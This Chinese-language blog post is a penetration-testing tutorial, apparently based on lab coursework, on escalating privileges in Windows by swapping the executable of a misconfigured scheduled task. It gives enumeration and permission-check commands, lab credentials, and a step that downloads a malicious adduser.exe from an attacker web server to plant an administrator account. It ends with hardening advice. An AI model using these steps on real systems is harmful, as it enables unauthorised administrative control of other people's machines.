**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。
🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬
🌌 立即前往 👉晖度丨安全视界🚀

▶ 信息收集
▶ 漏洞检测
▶ 初始立足点▶ 权限提升 ➢ Windows权限提升 ➢ 利用Windows计划任务提权🔥🔥🔥
▶ 横向移动▶ 报告/分析
▶ 教训/修复
目录
[1.1 利用Windows计划任务提权](#1.1 利用Windows计划任务提权)
[1.1.1 概述](#1.1.1 概述)
[1.1.1.1 计划任务的工作原理](#1.1.1.1 计划任务的工作原理)
[1.1.1.2 攻击者关注的三个关键问题](#1.1.1.2 攻击者关注的三个关键问题)
[1.1.1.3 特权升级攻击路径](#1.1.1.3 特权升级攻击路径)
[1.1.2 计划任务提权实战](#1.1.2 计划任务提权实战)
[1.1.2.1 发现可疑计划任务](#1.1.2.1 发现可疑计划任务)
[1.1.2.2 检查用户对该任务可执行文件的权限](#1.1.2.2 检查用户对该任务可执行文件的权限)
[1.1.2.3 攻击可行性评估](#1.1.2.3 攻击可行性评估)
[1.1.2.4 部署恶意二进制文件替换任务计划的可执行文件](#1.1.2.4 部署恶意二进制文件替换任务计划的可执行文件)
[1.1.2.5 等待下一次任务执行并验证](#1.1.2.5 等待下一次任务执行并验证)
[1.1.3 安全加固建议](#1.1.3 安全加固建议)
[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)
1.Windows权限提升
在渗透测试中,我们通常以非特权用户 身份获得初始立足点。但为了深入探测(如搜索敏感信息、提取密码哈希等),往往需要提升至管理员权限( 比如:使用Mimikatz提取密码哈希**),** 这个过程就是特权提升。
📊 权限提升三大路径: 本文介绍:++利用Windows计划任务提权++。
| 阶段 | 目标 | 关键方法 |
|---|---|---|
| 1. 枚举Windows | 获取系统情报 | 手动搜索 + 自动化工具 |
| 2. 滥用Windows服务 | 攻击服务漏洞 | 服务配置缺陷、权限滥用 |
| 3. 利用其他组件 | 扩大攻击面 | 计划任务、系统漏洞利用 |
1.1 利用Windows计划任务提权
1.1.1 概述
计划任务(Scheduled Tasks) 是Windows系统中用于++自动化执行各类操作++ 的重要组件。攻击者可通过分析配置不当的任务,实现从普通用户到高权限账户(若,用户已NT AUTHORITY\SYSTEM或管理员身份执行计划任务)的权限升级。
1.1.1.1 计划任务的工作原理
🔧 触发器 + ⚡ 动作 = 🚀 自动化任务
| 组件 | 说明 |
|---|---|
| 触发器 | 执行任务的条件(如特定时间、系统启动、用户登录等) |
| 动作 | 满足条件后执行的程序或脚本 |
| 主体 | 运行任务所使用的用户账户及权限 |
如何设置计划任务,这里不展开。可参考该博文内容:
windows定时任务_windows任务计划程序-CSDN博客
1.1.1.2 攻击者关注的三个关键问题
1.任务以哪个用户账户(主体)身份执行?
若:
-
普通用户身份运行 → 无直接提权价值
-
NT AUTHORITY\SYSTEM或管理员身份运行 → 潜在提权机会 -
判断依据 :任务配置中的**"运行身份"**设置
2.任务设置了哪些触发器?
第二个问题很重要!因为如果触发条件在过去已经满足,任务将不会在将来再次运行,这种任务是不可被利用的,没有意义的目标。
-
触发器状态影响攻击可行性因素:
-
✅ 将来会触发 → 可考虑利用
-
❌ 已过期或不会触发 → 暂不可行(但可记录在渗透测试报告中)
-
3.触发时执行哪些操作?
第三个问题的答案决定:如何执行潜在的特权升级。大多数情况下,可利用熟悉的策略。
-
任务通常为:执行特定程序或脚本
-
攻击切入点:
-
替换任务调用的可执行文件
-
利用DLL劫持(类似服务提权中的手法)
-
修改脚本或依赖文件
-
1.1.1.3 特权升级攻击路径

实际渗透测试中的应用要点:
| 步骤 | 行动 | 目的 |
|---|---|---|
| 1. 枚举 | 列出所有计划任务及配置 | 识别高权限运行的任务 |
| 2. 分析 | 检查触发器时间与执行动作 | 评估可利用性 |
| 3. 利用 | 替换二进制/放置恶意DLL | 获取权限 |
| 4. 报告 | 记录所有发现(即使暂不可利用) | 为客户提供安全建议 |
要点 :关注高权限账户 运行的任务 + 可触发 的条件 + 可控制 的执行文件 → 特权升级机会 🎯
1.1.2 计划任务提权实战
接下来,通过例子来演示。尝试通过**++++替换任务操作中指定的二进制文件来提升权限++++**。 为此,再次以用户名steve、密码securityIsNotAnOption++++++的身份通过RDP连接到CLIENTWK220,并启动一个PowerShell窗口。
1.1.2.1 发现可疑计划任务
在PowerShell上使用Get-ScheduledTask或命令schtasks /query来查看计划任务。
bash
# 查看所有计划任务,以详细列表格式显示全部属性
> schtasks /query /fo LIST /v
命令参数解析:
| 参数 | 作用 | 重要性 |
|---|---|---|
/query |
查询计划任务 | 基础操作 |
/fo LIST |
以列表格式输出 | 便于阅读分析 |
/v |
显示详细信息 | 获取完整配置 |
**📋 关键信息字段解析:**权限提升三大关键问题对应字段。
| 关注字段 | 对应关键问题 | 寻找的信息特征 |
|---|---|---|
| 运行的用户 | 任务以哪个用户账户执行? | NT AUTHORITY\SYSTEM、管理员账户等高权限身份 |
| 下次运行时间 | 任务设置了哪些触发器? | 未来会触发的时间点,任务处于活跃状态 |
| 要运行的任务 | 触发时执行哪些操作? | 可执行文件或脚本路径,是否存在可控点 |
| 作者 | 任务创建者身份 | 判断任务来源和潜在权限级别 |
| 任务名称 | 任务标识 | 系统任务 vs 自定义任务 |
通过上述命令,发现了以下可疑(可利用)任务 :\Microsoft\CacheCleanup

任务信息概览:
| 字段 | 内容 | 重要性 |
|---|---|---|
| 任务名称 | \Microsoft\CacheCleanup |
目标标识 |
| 创建者 | daveadmin |
高权限账户 |
| 运行用户 | daveadmin |
提权关键 ⭐ |
| 执行程序 | C:\Users\steve\Pictures\BackendCacheCleanup.exe |
攻击切入点 |
| 运行频率 | 每分钟一次 | 触发频繁 |
| 上次运行 | 最近时间 | 任务活跃 |
| 下次运行 | 1分钟内 | 立即生效 |
1.1.2.2 检查用户对该任务可执行文件的权限
文件权限检查:
bash
# 使用icacls检查文件权限
> icacls "C:\Users\steve\Pictures\BackendCacheCleanup.exe"

**权限状态表:**正如预期,steve拥有完全访问权限(F),因为可执行文件位于steve的主目录中。
| 用户/组 | 权限 | 含义 |
|---|---|---|
| steve | (F) |
完全控制 - 可读、写、执行、删除 |
1.1.2.3 攻击可行性评估
优势条件 ✅
-
高权限上下文 :任务以
daveadmin(管理员)身份运行 -
完全控制权 :当前用户steve对目标可执行文件有完全控制权限
-
高频触发:每分钟执行一次,攻击可快速生效
-
路径可预测:文件位于steve的主目录,易于定位
1.攻击链示意图

2.攻击实施步骤
阶段一:信息收集
-
枚举任务 :
schtasks /query /fo LIST /v -
筛选关键信息:关注"运行的用户"和"要运行的任务"
-
定位目标 :发现
\Microsoft\CacheCleanup任务
阶段二:权限验证
-
检查文件所有权:确认steve对文件有控制权
-
验证任务状态:确认任务活跃且即将运行
-
评估触发条件:确认每分钟触发,无需等待
阶段三:攻击执行
-
备份原文件:防止意外破坏
-
生成恶意载荷:创建反向shell或添加用户程序
-
替换文件:覆盖原BackendCacheCleanup.exe
-
等待执行:最多等待1分钟获取权限
攻击核心 :利用用户对高权限任务执行文件的完全控制权 ,通过文件替换 实现权限提升。这是典型的计划任务配置不当导致的提权漏洞。
1.1.2.4 部署恶意二进制文件替换任务计划的可执行文件
再次使用之前构造的恶意二进制文件adduser.exe来替换计划任务中指定的可执行文件。如果成功执行,则用户dave2将被创建并添加到本地Administrators组中实现提权。
现在,记得备份原始任务文件BackendCacheCleanup.exe,再把adduser.exe下载到目标主机CLIENTWK220上,并重命名为BackendCacheCleanup.exe,替换原来任务的文件。
| 步骤 | 命令/操作 | 目的 |
|---|---|---|
| 启动Web服务器 | python3 -m http.server 80 |
提供恶意文件下载 |
| 下载恶意文件 | iwr http://<IP>/adduser.exe -OutFile BackendCacheCleanup.exe |
获取攻击载荷 |
| 备份原文件 | Copy-Item BackendCacheCleanup.exe BackendCacheCleanup.exe.bak |
便于后续恢复 |

替换原理 :利用对
C:\Users\steve\Pictures\BackendCacheCleanup.exe的完全控制权限。
1.1.2.5 等待下一次任务执行并验证
一旦计划任务再次执行,dave2将被创建并添加到本地Administrators组中。 等待一分钟任务执行后,可以检查我们的特权升级攻击是否成功。
| 时间 | 事件 | 验证方法 |
|---|---|---|
| 0-60秒内 | 计划任务自动触发 | `Get-ScheduledTask -TaskName CacheCleanup |
| 触发后 | 恶意代码执行 | 查看进程监控或事件日志 |
| 执行后 | 创建dave2用户 | net user dave2 |
| 最终验证 | 确认管理员权限 | net localgroup administrators |

**验证成果:**我们成功使用恶意文件替换了计划任务使用的可执行文件,在下一次任务自动执行时执行了我们的恶意文件创建了一个我们控制的管理员用户的凭据。太棒了!
📊 攻击效果验证表
| 检查项 | 命令 | 预期结果 |
|---|---|---|
| 用户是否存在 | net user dave2 |
显示dave2用户信息 |
| 用户组关系 | net localgroup administrators |
dave2在管理员组中 |
| 任务执行状态 | schtasks /query /tn \Microsoft\CacheCleanup |
最后运行时间更新 |
| 文件完整性 | Get-FileHash BackendCacheCleanup.exe |
哈希值改变(已被替换) |
1.1.3 安全加固建议
短期防护策略:
-
权限修正:限制用户对计划任务执行文件的写权限
-
路径调整 :将任务文件移至受保护目录(如
C:\Program Files\) -
签名验证:启用任务执行的数字签名检查
-
监控增强:监控计划任务目录的文件变化
长期防护策略:
| 防护层面 | 具体措施 | 效果 |
|---|---|---|
| 权限管理 | 遵循最小权限原则 | 防止未授权修改 |
| 文件完整性 | 启用Windows Defender或第三方解决方案 | 检测文件篡改 |
| 审计日志 | 启用计划任务相关的事件日志 | 便于追踪异常 |
| 定期审查 | 周期性检查计划任务配置 | 发现配置错误 |
攻击总结 :我们关注的是计划任务而不是Windows服务。
通过替换计划任务执行文件 ,利用高权限上下文 和自动触发机制 ,成功实现从普通用户到管理员的权限提升。这种攻击模式在配置不当的Windows环境中极为有效。
欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论
每一份支持,都是我持续输出的光。
